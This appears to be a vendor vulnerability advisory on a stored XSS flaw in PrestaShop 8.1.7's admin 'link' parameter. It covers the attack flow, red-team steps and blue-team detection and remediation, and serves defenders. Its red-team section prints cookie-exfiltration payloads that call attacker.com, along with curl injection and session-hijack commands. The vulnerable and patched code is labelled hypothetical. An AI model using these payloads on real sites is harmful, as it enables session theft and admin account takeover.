CVE-2025-1230
Executive Summary
CVE-2025-1230 is a Stored Cross-Site Scripting (XSS) vulnerability affecting PrestaShop 8.1.7. The flaw resides in the administrative interface, specifically within the /<admin_directory>/index.php endpoint, where the link parameter is not properly validated or sanitized. An authenticated attacker with administrative privileges can inject malicious JavaScript payloads that are stored and later executed in the browsers of other authenticated users, leading to session cookie theft and potential account takeover. The CVSS score of 4.8 (Medium) reflects the requirement for authenticated access and user interaction, but the impact on confidentiality and integrity is significant within the admin context.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a core application vulnerability in the PrestaShop e-commerce platform.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
- Privileges Required (PR): High (H) – The attacker must have administrative access to the PrestaShop backend.
- User Interaction (UI): Required (R) – The victim must visit the maliciously crafted page.
- Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited information disclosure (session cookies).
- Integrity (I): Low (L) – Limited ability to modify stored data.
- Availability (A): Low (L) – No direct impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the potential for session hijacking and lateral movement within the admin panel elevates the risk for targeted attacks.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS (also known as Persistent XSS). The link parameter in the admin interface is used to store URLs or navigation links. Due to insufficient input validation and output encoding, an attacker can inject arbitrary JavaScript code.
Attack Flow:
- An authenticated admin user crafts a malicious payload, e.g.,
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>. - The payload is submitted via the
linkparameter in the admin panel. - The payload is stored in the database without proper sanitization.
- When another admin user (or the same user) views the page that renders this link, the script executes in their browser.
- The script exfiltrates the victim's session cookie to the attacker's server.
- The attacker can then use the stolen cookie to impersonate the victim and gain unauthorized access.
Root Cause: The application fails to apply context-aware output encoding (e.g., HTML entity encoding) and does not validate the input against a whitelist of allowed characters or URL schemes.
Vulnerable vs. Patched Code
Vulnerable Code (PrestaShop 8.1.7):
// In admin controller, e.g., AdminLinksController.php
public function processAdd() {
$link = Tools::getValue('link');
// No sanitization or validation
Db::getInstance()->insert('links', array('link' => $link));
}
Patched Code (Hypothetical Fix):
// Patched version
public function processAdd() {
$link = Tools::getValue('link');
// Validate URL format
if (!filter_var($link, FILTER_VALIDATE_URL)) {
$this->errors[] = $this->trans('Invalid URL.', array(), 'Admin.Notifications.Error');
return;
}
// Sanitize output
$link = htmlspecialchars($link, ENT_QUOTES, 'UTF-8');
Db::getInstance()->insert('links', array('link' => $link));
}
Key Differences:
- Input validation using
filter_varensures only valid URLs are accepted. - Output encoding with
htmlspecialcharsprevents script execution. - Proper error handling prevents storage of malicious data.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Access to a PrestaShop 8.1.7 admin panel with valid credentials.
- A publicly accessible server to receive exfiltrated cookies.
Step 1: Identify the vulnerable parameter.
Navigate to the admin panel and locate the form that accepts the link parameter (e.g., in the "Links" or "Navigation" section).
Step 2: Craft the payload.
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Step 3: Inject the payload.
Submit the payload via the link parameter. Use a tool like Burp Suite or a simple curl command:
curl -X POST 'http://target.com/admin123/index.php?controller=AdminLinks&token=valid_token' \
-d 'link=<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'
Step 4: Wait for victim interaction. When an admin views the page containing the malicious link, the script executes and sends the cookie to your server.
Step 5: Hijack the session. Use the stolen cookie to access the admin panel:
curl -b 'PHPSESSID=stolen_cookie_value' 'http://target.com/admin123/index.php'
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual
linkparameter values containing<script>tags or event handlers. - Look for outbound connections to unknown domains from the admin interface.
- Analyze web server logs for requests to the admin panel with suspicious payloads.
Prevention:
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Use Web Application Firewall (WAF) rules to block XSS payloads.
- Enforce strict input validation and output encoding in all admin forms.
Hunting:
- Search the database for stored XSS payloads:
SELECT * FROM ps_links WHERE link LIKE '%<script%';
- Review admin user activity logs for unusual modifications to link entries.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to attacker-controlled domains containing cookie data.
- Suspicious
Refererheaders pointing to admin panel URLs with encoded payloads.
Host IOCs:
- Database entries in
ps_linksor similar tables containing<script>tags. - Web server logs showing requests to
/<admin_directory>/index.phpwithlinkparameter containing JavaScript.
- Database entries in
File IOCs:
- Modified or new files in the admin directory (e.g., backdoored PHP files).
Sample IOC:
- URL pattern:
http://target.com/admin123/index.php?controller=AdminLinks&token=*&link=<script>...</script>
- URL pattern:
Detection Engineering
YARA Rule
rule CVE_2025_1230_Stored_XSS {
meta:
description = "Detects stored XSS payloads in PrestaShop link parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-1230"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/si
$link_param = "link="
condition:
$link_param and $xss_payload
}
Sigma Rule
title: PrestaShop Stored XSS via link Parameter
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-1230 by injecting XSS payloads into the link parameter.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'link='
cs-uri-query|re: '<script[^>]*>.*?</script>'
condition: selection
falsepositives:
- Legitimate use of JavaScript in URLs (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-1230 PrestaShop Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"link="; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/si"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable functionality if possible, by removing or restricting access to the
linkparameter in the admin panel. - Apply input validation using a whitelist of allowed characters (e.g., only alphanumeric and URL-safe characters).
- Implement output encoding using
htmlspecialchars()or a templating engine that auto-escapes.
Long-term Fix:
- Upgrade to a patched version of PrestaShop once available.
- Conduct a full security audit of the admin interface for similar vulnerabilities.
- Implement a Content Security Policy (CSP) with
script-src 'self'to mitigate XSS.
Workarounds:
- Use a Web Application Firewall (WAF) with rules to block XSS payloads.
- Restrict admin panel access to trusted IP addresses only.
- Enable HTTP-only and Secure flags on session cookies to reduce impact.
Valters IT
Securing Digital Frontiers